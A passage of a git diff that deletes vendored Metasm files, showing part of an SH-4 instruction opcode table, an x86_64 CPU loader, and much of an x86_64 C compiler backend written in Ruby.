'cmp/gt', 0b0011 << 12 | 0b0111, :rm, :rn - addop 'cmp/hi', 0b0011 << 12 | 0b0110, :rm, :rn - addop 'cmp/hs', 0b0011 << 12 | 0b0010, :rm, :rn - addop 'cmp/pl', 0b0100 << 12 | 0b00010101, :rn - addop 'cmp/pz', 0b0100 << 12 | 0b00010001, :rn - addop 'cmp/str', 0b0010 << 12 | 0b1100, :rm, :rn - - addop 'div0s', 0b0010 << 12 | 0b0111, :rm, :rn - addop 'div0u', 0b0000000000011001 - addop 'div1', 0b0011 << 12 | 0b0100, :rm, :rn - - addop 'dmuls.l', 0b0011 << 12 | 0b1101, :rm, :rn - addop 'dmulu.l', 0b0011 << 12 | 0b0101, :rm, :rn - - addop 'dt', 0b0100 << 12 | 0b00010000, :rn - - addop 'exts.b', 0b0110 << 12 | 0b1110, :rm, :rn - addop 'exts.w', 0b0110 << 12 | 0b1111, :rm, :rn - addop 'extu.b', 0b0110 << 12 | 0b1100, :rm, :rn - addop 'extu.w', 0b0110 << 12 | 0b1101, :rm, :rn - - # fpu instructions - addop 'fabs', 0b1111 << 12 | 0b001011101, :drn - addop 'fabs', 0b1111 << 12 | 0b01011101, :frn - - addop 'fadd', 0b1111 << 12 | 0b0 << 8 | 0b00000, :drm, :drn - addop 'fadd', 0b1111 << 12 | 0b0000, :frm, :frn - - addop 'fcmp/eq', 0b1111 << 12 | 0b0 << 8 | 0b00100, :drm, :drn - addop 'fcmp/eq', 0b1111 << 12 | 0b0100, :frm, :frn - - addop 'fcmp/gt', 0b1111 << 12 | 0b0 << 8 | 0b00101, :drm, :drn - addop 'fcmp/gt', 0b1111 << 12 | 0b0101, :frm, :frn - - addop 'fcnvds', 0b1111 << 12 | 0b010111101, :drn, :fpul - addop 'fcnvsd', 0b1111 << 12 | 0b010101101, :fpul, :drn - - addop 'fdiv', 0b1111 << 12 | 0b0 << 8 | 0b00011, :drm, :drn - addop 'fdiv', 0b1111 << 12 | 0b0011, :frm, :frn - addop 'fipr', 0b1111 << 12 | 0b11101101, :fvm, :fvn - - addop 'flds', 0b1111 << 12 | 0b00011101, :frn, :fpul - addop 'fldi0', 0b1111 << 12 | 0b10001101, :frn - addop 'fldi1', 0b1111 << 12 | 0b10011101, :frn - - addop 'float', 0b1111 << 12 | 0b000101101, :fpul, :drn - addop 'float', 0b1111 << 12 | 0b00101101, :fpul, :frn - - addop 'fmac', 0b1111 << 12 | 0b1110, :fr0, :frm, :frn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b01100, :drm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b01100, :drm, :xdn - addop 'fmov', 0b1111 << 12 | 0b01010, :drm, :@rn - addop 'fmov', 0b1111 << 12 | 0b01011, :drm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b00111, :drm, :@r0rn - - addop 'fmov.s', 0b1111 << 12 | 0b1100, :frm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1010, :frm, :@rn - addop 'fmov.s', 0b1111 << 12 | 0b1011, :frm, :@_rn - addop 'fmov.s', 0b1111 << 12 | 0b0111, :frm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b11100, :xdm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b11100, :xdm, :xdn - addop 'fmov', 0b1111 << 12 | 0b11010, :xdm, :@rn - addop 'fmov', 0b1111 << 12 | 0b11011, :xdm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b10111, :xdm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1000, :@rm, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1001, :@rm_, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b0110, :@r0rm, :drn - - addop 'fmov.s', 0b1111 << 12 | 0b1000, :@rm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1001, :@rm_, :frn - addop 'fmov.s', 0b1111 << 12 | 0b0110, :@r0rm, :frn - - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1000, :@rm, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1001, :@rm_, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b0110, :@r0rm, :xdn - - addop 'fmul', 0b1111 << 12 | 0b0 << 8 | 0b00010, :drm, :drn - addop 'fmul', 0b1111 << 12 | 0b0010, :frm, :frn - - addop 'fneg', 0b1111 << 12 | 0b001001101, :drn - addop 'fneg', 0b1111 << 12 | 0b01001101, :frn - - addop 'frchg', 0b1111101111111101 - addop 'fschg', 0b1111001111111101 - - addop 'fsqrt', 0b1111 << 12 | 0b001101101, :drn - addop 'fsqrt', 0b1111 << 12 | 0b01101101, :frn - addop 'fsts', 0b1111 << 12 | 0b00001101, :fpul, :frn - - addop 'fsub', 0b1111 << 12 | 0b0 << 8 | 0b00001, :@drm, :drn - addop 'fsub', 0b1111 << 12 | 0b0001, :frm, :frn - - addop 'ftrc', 0b1111 << 12 | 0b000111101, :drn, :fpul - addop 'ftrc', 0b1111 << 12 | 0b00111101, :frn, :fpul - addop 'ftrv', 0b1111 << 12 | 0b0111111101, :xmtrx, :fvn - - addop 'jmp', 0b0100 << 12 | 0b00101011, :rn, :setip, :stopexec, :delay_slot - addop 'jsr', 0b0100 << 12 | 0b00001011, :rn, :setip, :saveip, :stopexec, :delay_slot - - addop 'ldc', 0b0100 << 12 | 0b00011110, :rn, :gbr - addop 'ldc', 0b0100 << 12 | 0b00001110, :rn, :sr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00101110, :rn, :vbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00111110, :rn, :ssr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b01001110, :rn, :spc # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b11111010, :rn, :dbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b1 << 7 | 0b1110, :rn, :rn_bank # privileged instruction - - addop 'ldc.l', 0b0100 << 12 | 0b00010111, :@rn_, :gbr - addop 'ldc.l', 0b0100 << 12 | 0b00000111, :@rn_, :sr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00100111, :@rn_, :vbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00110111, :@rn_, :ssr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b01000111, :@rn_, :spc # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b11110110, :@rn_, :dbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b1 << 7 | 0b0111, :@rn_, :rn_bank # privileged instruction - - addop 'lds', 0b0100 << 12 | 0b01101010, :rn, :fpscr - addop 'lds.l', 0b0100 << 12 | 0b01100110, :@rn_, :fpscr - addop 'lds', 0b0100 << 12 | 0b01011010, :rn, :fpul - addop 'lds.l', 0b0100 << 12 | 0b01010110, :@rn_, :fpul - addop 'lds', 0b0100 << 12 | 0b00001010, :rn, :mach - addop 'lds.l', 0b0100 << 12 | 0b00000110, :@rn_, :mach - addop 'lds', 0b0100 << 12 | 0b00011010, :rn, :macl - addop 'lds.l', 0b0100 << 12 | 0b00010110, :@rn_, :macl - addop 'lds', 0b0100 << 12 | 0b00101010, :rn, :pr - addop 'lds.l', 0b0100 << 12 | 0b00100110, :@rn_, :pr - - addop 'ldtlb', 0b0000000000111000 - - addop 'mac.l', 0b0000 << 12 | 0b1111, :@rm_, :@rn_ - addop 'mac.w', 0b0100 << 12 | 0b1111, :@rm_, :@rn_ - - addop 'mov', 0b0110 << 12 | 0b0011, :rm, :rn - addop 'mov', 0b1110 << 12, :s8, :rn - - addop 'mov.b', 0b0010 << 12 | 0b0000, :rm, :@rn - addop 'mov.b', 0b0010 << 12 | 0b0100, :rm, :@_rn - addop 'mov.b', 0b0000 << 12 | 0b0100, :rm, :@r0rn - addop 'mov.b', 0b11000000 << 8, :r0, :@dispgbr - addop 'mov.b', 0b10000000 << 8, :r0, :@dispr0rn - addop 'mov.b', 0b0110 << 12 | 0b0000, :@rm, :rn - addop 'mov.b', 0b0110 << 12 | 0b0100, :@rm_, :rn - addop 'mov.b', 0b0000 << 12 | 0b1100, :@r0rm, :rn - addop 'mov.b', 0b11000100 << 8, :@dispgbr, :r0 - addop 'mov.b', 0b10000100 << 8, :@dispr0rn, :r0 - - addop 'mov.l', 0b0010 << 12 | 0b0010, :rm, :@rn - addop 'mov.l', 0b0010 << 12 | 0b0110, :rm, :@_rn - addop 'mov.l', 0b0000 << 12 | 0b0110, :rm, :@r0rn - addop 'mov.l', 0b11000010 << 8, :r0, :@dispgbr - addop 'mov.l', 0b0001 << 12, :rm, :@disprmrn - addop 'mov.l', 0b0110 << 12 | 0b0010, :@rm, :rn - addop 'mov.l', 0b0110 << 12 | 0b0110, :@rm_, :rn - addop 'mov.l', 0b0000 << 12 | 0b1110, :@r0rm, :rn - addop 'mov.l', 0b11000110 << 8, :@dispgbr, :r0 - addop 'mov.l', 0b1101 << 12, :@disppc, :rn - addop 'mov.l', 0b0101 << 12, :@disprm, :rn - - addop 'mov.w', 0b0010 << 12 | 0b0001, :rm, :@rn - addop 'mov.w', 0b0010 << 12 | 0b0101, :rm, :@_rn - addop 'mov.w', 0b0000 << 12 | 0b0101, :rm, :@r0rn - addop 'mov.w', 0b11000001 << 8, :r0, :@dispgbr - addop 'mov.w', 0b10000001 << 8, :r0, :@dispr0rn - addop 'mov.w', 0b0110 << 12 | 0b0001, :@rm, :rn - addop 'mov.w', 0b0110 << 12 | 0b0101, :@rm_, :rn - addop 'mov.w', 0b0000 << 12 | 0b1101, :@r0rm, :rn - addop 'mov.w', 0b11000101 << 8, :@dispgbr, :r0 - addop 'mov.w', 0b1001 << 12, :@disppc, :rn - addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 - - addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing - addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. - - addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn - - addop 'mul.l', 0b0000 << 12 | 0b0111, :rm, :rn - addop 'muls.w', 0b0010 << 12 | 0b1111, :rm, :rn - addop 'mulu.w', 0b0010 << 12 | 0b1110, :rm, :rn - - addop 'neg', 0b0110 << 12 | 0b1011, :rm, :rn - addop 'negc', 0b0110 << 12 | 0b1010, :rm, :rn - - addop 'nop', 0b0000000000001001 - - addop 'not', 0b0110 << 12 | 0b0111, :rm, :rn - - addop 'ocbi', 0b0000 << 12 | 0b10010011, :@rn # invalidates an operand cache block - addop 'ocbp', 0b0000 << 12 | 0b10100011, :@rn # purges an operand cache block - addop 'ocbwb', 0b0000 << 12 | 0b10110011, :@rn # write-backs an operand cache block - - addop 'or', 0b0010 << 12 | 0b1011, :rm, :rn - addop 'or', 0b11001011 << 8, :i8, :r0 - addop 'or.b', 0b11001111 << 8, :i8, :@r0gbr - - addop 'pref', 0b0000 | 0b10000011, :@rn # indicates a software-directed data prefetch - - addop 'rotcl', 0b0100 | 0b00100100, :rn - addop 'rotcr', 0b0100 | 0b00100101, :rn - addop 'rotl', 0b0100 | 0b00000100, :rn - addop 'rotr', 0b0100 | 0b00000101, :rn - - addop 'rte', 0b0000000000101011, :setip, :stopexec, :delay_slot # returns from an exception or interrupt handling routine, privileged instruction - addop 'rts', 0b0000000000001011, :setip, :stopexec, :delay_slot # returns from a subroutine - - addop 'sets', 0b0000000001011000 - addop 'sett', 0b0000000000011000 - - addop 'shad', 0b0100 << 12 | 0b1100, :rm, :rn - addop 'shal', 0b0100 << 12 | 0b00100000, :rn - addop 'shar', 0b0100 << 12 | 0b00100001, :rn - addop 'shld', 0b0100 << 12 | 0b1101, :rm, :rn - addop 'shll', 0b0100 << 12 | 0b00000000, :rn - addop 'shll2', 0b0100 << 12 | 0b00001000, :rn - addop 'shll8', 0b0100 << 12 | 0b00011000, :rn - addop 'shll16', 0b0100 << 12 | 0b00101000, :rn - addop 'shlr', 0b0100 << 12 | 0b00000001, :rn - addop 'shlr2', 0b0100 << 12 | 0b00001001, :rn - addop 'shlr8', 0b0100 << 12 | 0b00011001, :rn - addop 'shlr16', 0b0100 << 12 | 0b00101001, :rn - - addop 'sleep', 0b0000000000011011 # privileged instruction - - addop 'stc', 0b0000 << 12 | 0b00000010, :sr, :rn - addop 'stc', 0b0000 << 12 | 0b00100010, :vbr, :rn - addop 'stc', 0b0000 << 12 | 0b00110010, :ssr, :rn - addop 'stc', 0b0000 << 12 | 0b01000010, :spc, :rn - addop 'stc', 0b0000 << 12 | 0b00111010, :sgr, :rn - addop 'stc', 0b0000 << 12 | 0b11111010, :dbr, :rn - addop 'stc', 0b0000 << 12 | 0b1 << 7 | 0b0010, :rm_bank, :@_rn - addop 'stc', 0b0000 << 12 | 0b00010010, :gbr, :rn - - addop 'stc.l', 0b0100 << 12 | 0b00000011, :sr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00100011, :vbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110011, :ssr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b01000011, :spc, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110010, :sgr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b11110010, :dbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b1 << 7 | 0b0011, :rm_bank, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00010011, :gbr, :@_rn - - addop 'sts', 0b0000 << 12 | 0b01101010, :fpscr, :rn - addop 'sts.l', 0b0100 << 12 | 0b01100010, :fpscr, :@_rn - addop 'sts', 0b0000 << 12 | 0b01011010, :fpul, :rn - addop 'sts.l', 0b0100 << 12 | 0b01010010, :fpul, :@_rn - addop 'sts', 0b0000 << 12 | 0b00001010, :mach, :rn - addop 'sts.l', 0b0100 << 12 | 0b00000010, :mach, :@_rn - addop 'sts', 0b0000 << 12 | 0b00011010, :macl, :rn - addop 'sts.l', 0b0100 << 12 | 0b00010010, :macl, :@_rn - addop 'sts', 0b0000 << 12 | 0b00101010, :pr, :rn - addop 'sts.l', 0b0100 << 12 | 0b00100010, :pr, :@_rn - - addop 'sub', 0b0011 << 12 | 0b1000, :rm, :rn - addop 'subc', 0b0011 << 12 | 0b1010, :rm, :rn - addop 'subv', 0b0011 << 12 | 0b1011, :rm, :rn - - addop 'swap.b', 0b0110 << 12 | 0b1000, :rm, :rn - addop 'swap.w', 0b0110 << 12 | 0b1001, :rm, :rn - - addop 'tas.b', 0b0100 << 12 | 0b00011011, :@rn - addop 'trapa', 0b11000011 << 8, :i8, :setip, :stopexec # This instruction causes a pre-execution trap. - - addop 'tst', 0b0010 << 12 | 0b1000, :rm, :rn - addop 'tst', 0b11001000 << 8, :i8, :r0 - addop 'tst.b', 0b11001100 << 8, :i8, :@r0gbr - - addop 'xor', 0b0010 << 12 | 0b1010, :rm, :rn - addop 'xor', 0b11001010 << 8, :i8, :r0 - addop 'xob.b', 0b11001110 << 8, :i8, :@r0gbr - - addop 'xtrct', 0b0010 << 12 | 0b1101, :rm, :rn - end - -end - -end diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb deleted file mode 100644 index 19fc3fce1e..0000000000 --- a/lib/metasm/metasm/cpu/x86_64.rb +++ /dev/null @@ -1,15 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::X86_64 < Metasm::Ia32 -end - -require 'metasm/main' -require 'metasm/cpu/x86_64/parse' -require 'metasm/cpu/x86_64/encode' -require 'metasm/cpu/x86_64/decode' -require 'metasm/cpu/x86_64/render' -require 'metasm/cpu/x86_64/debug' -require 'metasm/cpu/x86_64/compile_c' diff --git a/lib/metasm/metasm/cpu/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb deleted file mode 100644 index 4c50fdafb2..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/compile_c.rb +++ /dev/null @@ -1,1036 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/parse' -require 'metasm/compile_c' - -module Metasm -class X86_64 -class CCompiler < C::Compiler - # holds compiler state information for a function - # registers are saved as register number (see Reg) - class State - # variable => offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are used as func args in current ABI - attr_accessor :regargs - # stack space reserved for subfunction in ABI - attr_accessor :args_space - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_rbp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # rsp is always in use - @inuse = [] - @bound = {} - @regargs = [] - @args_space = 0 - @abi_flushregs_call = [0, 1, 2, 6, 7, 8, 9, 10, 11] - @abi_trashregs = @abi_flushregs_call.dup - end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#" end - end - - - def initialize(*a) - super(*a) - @cpusz = 64 - @regnummax = 15 - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = (@state.abi_trashregs - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.val } - exempt << 4 - exempt << 5 if @state.saved_rbp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_rbp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - v = ModRM.new(@cpusz, sz, nil, nil, Reg.from_str('rip'), Expression[var.name, :-, '$_']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - unuse e - sz = typesize[type.pointer? ? :ptr : type.name]*8 - if sz < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - if e2.sz == 64 and e.sz == 32 - if op == 'movsx' - instr 'movsxd', e2, e - else - instr 'mov', Reg.new(e2.val, 32), e - end - else - instr op, e2, e - end - else - e2 = inuse findreg(sz) - instr 'mov', e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'float unhandled' - else raise "cannot cast #{e} to #{type}" - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - e2 = inuse findreg - instr 'mov', e2, e - e2 - elsif type.float? - raise 'float unhandled' - else raise "cannot cast #{e} to #{type}" - end - else - e - end - end - - # takes an argument, if the argument is an integer that does not fit in an i32, moves it to a temp reg - # the reg is unused, so use this only right when generating the offending instr (eg cmp, add..) - def i_to_i32(v) - if v.kind_of? Expression and i = v.reduce and i.kind_of?(Integer) - i &= 0xffff_ffff_ffff_ffff - if i <= 0x7fff_ffff - elsif i >= (1<<64)-0x8000_0000 - v = Expression[Expression.make_signed(i, 64)] - else - v = make_volatile(v, C::BaseType.new(:int)) - unuse v - end - end - v - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an X64 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - instr 'neg', r - elsif expr.type.float? - raise 'float unhandled' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - op = (inc ? 'inc' : 'dec') - instr op, r - elsif expr.type.float? - raise 'float unhandled' - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - if expr.type.float? or expr.rexpr.type.float? - raise 'float unhandled' - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.pointer? ? :ptr : expr.type.name]*8 - tfrom = typesize[expr.rexpr.type.pointer? ? :ptr : expr.rexpr.type.name]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - if r.sz == 64 and tto == 32 - instr 'mov', Reg.new(r.val, tto), Reg.new(r.val, tto) - else - instr 'and', r, Expression[(1< tto - end - end - elsif tto > tfrom - if not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - if reg.sz == 64 and r.sz == 32 - if op == 'movsx' - instr 'movsxd', reg, r - else - instr 'mov', Reg.new(reg.val, 32), r - end - else - instr op, reg, r - end - r = reg - end - end - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX fptrs are not #integral? ... - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, 